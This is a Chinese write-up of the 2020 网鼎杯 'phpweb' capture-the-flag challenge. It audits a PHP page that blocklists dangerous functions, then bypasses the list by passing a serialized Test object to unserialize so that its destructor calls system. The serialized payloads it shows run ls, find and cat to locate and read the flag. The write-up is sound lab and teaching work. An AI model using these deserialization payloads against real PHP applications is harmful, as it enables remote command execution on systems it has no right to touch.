[网鼎杯 2020 朱雀组]phpweb

抓包发现func=data&p=Y-m-d h:i:s a

大概就是传进去一个函数名给你执行，

传file_get_contents，index.php得到一下面的内容

代码审计

   <?php
       $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

直接看if()，就是过滤了一部分函数，不在$disable_fun数组里的函数才能被执行。

有类、没过滤unserialize()；那就反序类化呗，

class Test{
	public $func = "system";
    public $p = "ls";//替换不同的命令
}
$flag = new Test;
print(serialize($flag));

运行一下得到：

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

POST传参

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

得到回显

bg.jpg
index.php
index.php

find / -name flag*，然后用这个命令查找flag文件；

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

cat /tmp/flagoefiu4r93，查看文件内容；

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

得到flag:flag{981c4078-f8f9-4ef1-bb89-b5892a016c73}